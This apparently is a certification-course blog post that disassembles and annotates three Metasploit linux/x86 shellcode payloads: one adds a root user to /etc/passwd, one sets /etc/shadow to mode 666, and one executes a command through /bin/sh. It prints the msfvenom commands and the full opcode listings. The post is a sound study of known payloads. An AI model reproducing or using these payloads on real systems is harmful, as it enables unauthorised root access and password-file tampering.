Thursday 16 June 2016

x86 metasploit shellcode analysis

Part five of seven of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments requires me to take three shellcodes from metasploit for linux/x86 and analyse them using gdb/ndisasm.

I have done the three analysis' and they can be found below;

https://github.com/pabb85/SLAE/blob/master/linux-x86-adduser_analysis ;

 paul@SLAE001:~$ msfvenom -p linux/x86/adduser -o linux-x86-adduser.bin -f raw  
 No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
 No Arch selected, selecting Arch: x86 from the payload  
 No encoder or badchars specified, outputting raw payload  
 Payload size: 97 bytes  
 Saved as: linux-x86-adduser.bin  
 paul@SLAE001:~$ ndisasm -p intel linux-x86-adduser.bin   
   
   
 00000000 31C9       xor cx,cx          <-- clear cx  
 00000002 89CB       mov bx,cx          <-- clear bx  
 00000004 6A46       push byte +0x46     <-- push 0x46 (decimal 70) onto the stack  
 00000006 58        pop ax          <-- pop the 70 into ax  
 00000007 CD80       int 0x80          <-- invoke system call 70, setreuid(0, 0)  
   
   
 00000009 6A05       push byte +0x5     <-- push 5 onto the stack       
 0000000B 58        pop ax          <-- pop the 5 into ax  
 0000000C 31C9       xor cx,cx          <-- unnecessarily clear cx...  
 0000000E 51        push cx          <-- push null onto the stack  
 0000000F 687373      push word 0x7373     <-- push sswd  
 00000012 7764       ja 0x78          <-- ndisasm gets it wrong here, the 0x68 opcode is used for either push word or dword  
 00000014 682F2F      push word 0x2f2f     <-- push //pa  
 00000017 7061       jo 0x7a          <-- another opcode 0x68 misinterpretation  
 00000019 682F65      push word 0x652f     <-- push /etc  
 0000001C 7463       jz 0x81          <-- another opcode 0x68 misinterpretation  
 0000001E 89E3       mov bx,sp          <-- point bx to the top of the stack, to the string /etc//passwd  
 00000020 41        inc cx          <-- increment cx to 1  
 00000021 B504       mov ch,0x4          <-- move 4 into ch, making cx 0x41, equivalent to O_WRONLY|O_APPEND flag to open()  
 00000023 CD80       int 0x80          <-- invoke system call 5, open('/etc//passwd', O_WRONLY|O_APPEND)   
   
   
 00000025 93        xchg ax,bx          <-- switch ax and bx, so ax=pointer to '/etc//passwd', bx=the fd for the open file  
                ;inserted \xcc\xcc here to allow inspection with gdb during analysis...  
 00000026 E82800      call word 0x51     <-- call 0x51, jumps to 0x53 according to gdb   
   
   
   
 The folowing looks like an ASCII data section, a string of '\0\0metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh'  
   
 00000029 0000       add [bx+si],al     <-- null padding  
 0000002B 6D        insw          <-------------- String between 0x2d and 0x52   
 0000002C 657461      gs jz 0x90  
 0000002F 7370       jnc 0xa1  
 00000031 6C        insb  
 00000032 6F        outsw  
 00000033 69743A417A    imul si,[si+0x3a],word 0x7a41  
 00000038 2F        das  
 00000039 6449       fs dec cx  
 0000003B 736A       jnc 0xa7  
 0000003D 3470       xor al,0x70  
 0000003F 3449       xor al,0x49  
 00000041 52        push dx  
 00000042 633A       arpl [bp+si],di  
 00000044 303A       xor [bp+si],bh  
 00000046 303A       xor [bp+si],bh  
 00000048 3A2F       cmp ch,[bx]  
 0000004A 3A2F       cmp ch,[bx]  
 0000004C 62696E      bound bp,[bx+di+0x6e]  
 0000004F 2F        das  
 00000050 7368       jnc 0xba  
 00000052 0A                         <-------------- String between 0x2d and 0x52   
   
 ...At this point, as I've cut into what ndisasm thought was an instruction, I'll restart the disassembly to make the output cleaner and avoid having to try and re assemble the opcodes...  
   
 paul@SLAE001:~$ ndisasm -k 0,83 linux-x86-adduser.bin   
 00000000 skipping 0x53 bytes  
 00000053 59        pop cx          <-- pop return address into cx (points to start of string at 0x2d)  
 00000054 8B51FC      mov dx,[bx+di-0x4] <-- gdb says: edx,DWORD PTR [ecx-0x4], ecx-4 is loc 0x27 which contains 0x28  
 00000057 6A04       push byte +0x4     <-- push 4  
 00000059 58        pop ax          <-- pop 4 into ax  
 0000005A CD80       int 0x80          <-- invoke system call 4, write(fd, string, 0x28) - 0x28 is buffer length  
   
 0000005C 6A01       push byte +0x1     <-- push 1  
 0000005E 58        pop ax          <-- pop 1 into ax  
 0000005F CD80       int 0x80          <-- invoke system call 1, exit()  
   
   
   
 So, in summary;  
   
 invoke system call 70, setreuid(0, 0)     - Get back any dropped privs  
 invoke system call 5, open('/etc//passwd', O_WRONLY|O_APPEND)      - open /etc/passwd for writing  
 jump over the string to be written  
 invoke system call 4, write(fd, string, 0x28)      - write a new entry for a new user  
 invoke system call 1, exit()     - exit gracefully  
   
 There's certainly some room for size optimisation here, does the graceful exit need to be there, for example?   
 Also, need to consider that most modern systems use /etc/shadow for the password hashes.  
   
   

https://github.com/pabb85/SLAE/blob/master/linux-x86-chmod_analysis ;

 paul@SLAE001:~$ msfvenom -p linux/x86/chmod -o linux-x86-chmod.bin -f raw  
 No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
 No Arch selected, selecting Arch: x86 from the payload  
 No encoder or badchars specified, outputting raw payload  
 Payload size: 36 bytes  
 Saved as: linux-x86-chmod.bin  
 paul@SLAE001:~$ ndisasm -p intel linux-x86-chmod.bin  
 00000000 99        cwd               <-- convert word to double, puts the MSB of ax across all bits of dx, maybe assumes a 0  
 00000001 6A0F       push byte +0xf     <-- push 0xf  
 00000003 58        pop ax          <-- pop 0xf into ax, decimal 15  
 00000004 52        push dx          <-- push dx (null if MSB of ax was 0)  
 00000005 E80C00      call word 0x14     <-- save return address, jump to 0x16  
   
 Bet the following is a string... Yup, it's '\0\0/etc/shadow'  
 00000008 0000       add [bx+si],al     <-- null padding  
 0000000A 2F        das               <-------------- String between 0xa and 0x14   
 0000000B 657463      gs jz 0x71  
 0000000E 2F        das  
 0000000F 7368       jnc 0x79  
 00000011 61        popaw  
 00000012 646F       fs outsw  
 00000014 7700       ja 0x16          <-------------- String between 0xa and 0x14   
   
 00000016 5B        pop bx          <-- pop return address into cx (points to start of string at 0xa)  
 00000017 68B601      push word 0x1b6     <-- push 0x000001b6, octal 666  
 0000001A 0000       add [bx+si],al     <-- another opcode 0x68 misinterpretation, ignore this   
 0000001C 59        pop cx          <-- pop octal 666 into cx  
 0000001D CD80       int 0x80          <-- invoke system call 15, chmod('/etc/shadow', 666)  
   
 0000001F 6A01       push byte +0x1     <-- push 1  
 00000021 58        pop ax          <-- pop 1 into ax  
 00000022 CD80       int 0x80          <-- invoke system call 1, exit()  
   
   
 In summary;  
 invoke system call 15, chmod('/etc/shadow', 666)  
 invoke system call 1, exit()  
   
 There are a few things to note about this shellcode - if when it begins the MSB of the ax register isnt 0, chances are it won't work as expected.  
 Also, no setreuid call means that modern kernels which drop privs will likely break this shellcode.  
   
   

https://github.com/pabb85/SLAE/blob/master/linux-x86-exec_analysis ;

 paul@SLAE001:~$ msfvenom -p linux/x86/exec -o linux-x86-exec.bin -f raw CMD=ls  
 No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
 No Arch selected, selecting Arch: x86 from the payload  
 No encoder or badchars specified, outputting raw payload  
 Payload size: 38 bytes  
 Saved as: linux-x86-exec.bin  
 paul@SLAE001:~$ ndisasm -p intel linux-x86-exec.bin  
 00000000 6A0B       push byte +0xb          <-- push b, decimal 11  
 00000002 58        pop ax               <-- pop b into ax  
 00000003 99        cwd                    <-- effectively nulls-out dx  
 00000004 52        push dx               <-- push null  
 00000005 66682D6389E7   push dword 0xe789632d     <-- push two bytes junk then two bytes '-c', not sure why the junk..  
   
 ;the following few instructions get messed up so ill rewrite them  
 0000000B 682F73      push word 0x732f          <-- another opcode 0x68 misinterpretation, ignore this  
 0000000E 680068      push word 0x6800          <-- another opcode 0x68 misinterpretation, ignore this   
 00000011 2F        das  
 ;rewritten looks like this  
 0000000B 68 2F73 6800   push word 0x0068732f     <-- push '/sh\0'  
 00000010 68 2F62 696e   push word 0x696e622f     <-- push '/bin'  
   
 00000015 89E3       mov bx,sp               <-- mov stack pointer into bx  
 00000017 52        push dx               <-- push another null  
 00000018 E80300      call word 0x1e          <-- save return address and jump to 0x20  
   
 ;Bet this is a string... Yup, its '\0\0ls\0'  
 0000001B 0000       add [bx+si],al          <-- null padding  
 0000001D 6C        insb               <-- 'ls\0'  
 0000001E 7300       jnc 0x20  
   
 00000020 57        push di               <-- push di, which points to '-c'  
 00000021 53        push bx               <-- push bx, which points to '/bin/sh'  
 00000022 89E1       mov cx,sp               <-- mov stack pointer to cx  
 00000024 CD80       int 0x80               <-- invoke system call 11, execve('/bin/sh', ['/bin/sh', '-c', 'ls'])  
   
   
 In summary, build up an array of pointers on the stack for the cx argument, so slightly more complicated than just loading up the registers.  
   
 Not sure why they are using the dword with junk instead of just pushing the '-c' on as a word or how edi gets populated but will research this further...  


Awesome, on to the next challenge :-)


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.